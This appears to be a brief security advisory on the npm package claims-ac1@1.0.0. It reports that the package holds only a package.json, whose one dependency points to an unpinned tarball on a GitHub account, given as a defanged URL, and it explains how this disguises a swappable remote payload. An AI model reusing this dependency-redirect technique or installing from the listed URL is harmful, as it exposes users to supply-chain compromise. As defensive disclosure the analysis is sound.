claims-ac1@1.0.0

Analysis

claims-ac1@1.0.0 ships nothing but a 250-byte package.json — no source files, no main entry, no lifecycle scripts — and its sole declared dependency is fetched from a mutable raw GitHub URL rather than the npm registry: `{"dependencies":{"node-ac2":"hxxps://github[.]com/GamerD11/ping_test/raw/main/node-ac2[.]tgz"}}`. Installing this package therefore pulls an arbitrary, unpinned tarball from the GitHub account GamerD11 (repo `ping_test`, path `main/node-ac2.tgz`) outside the registry's integrity and audit trail; the owner can swap the tarball contents at that path at any time and every future install executes whatever it contains. The package name and description ("Account utility library") advertise a library that does not exist, which disguises the dependency redirect as a normal utility install.